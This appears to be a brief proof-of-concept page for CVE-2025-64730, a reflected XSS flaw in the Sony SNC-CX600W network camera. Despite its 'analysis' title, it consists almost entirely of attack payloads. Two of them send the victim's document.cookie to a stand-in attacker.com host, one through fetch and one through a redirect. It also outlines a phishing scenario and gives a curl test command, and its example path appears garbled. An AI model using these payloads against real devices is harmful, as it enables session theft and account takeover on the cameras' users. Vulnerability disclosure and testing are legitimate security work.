CVE-2025-64730 Sony SNC-CX600W 跨站脚本漏洞分析

<!-- CVE-2025-64730 XSS PoC for Sony SNC-CX600W --> <!-- This PoC demonstrates a reflected XSS attack --> <!-- Method 1: URL-based XSS injection --> <script>alert(document.cookie)</script> <!-- Method 2: Encoded XSS payload --> <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 3: DOM-based XSS --> '><script>document.location='http://attacker.com/phish?data='+document.cookie</script> <!-- Real attack scenario: --> <!-- Attacker crafts a malicious URL like: --> <!-- http://<camera-ip>/web一致/xxx?param=<script>malicious_code</script> --> <!-- Then tricks authenticated user into clicking the link --> <!-- Recommended test commands: --> <!-- curl 'http://<target-ip>/path?param=<script>alert(1)</script>' --> <!-- Check if script executes in browser context -->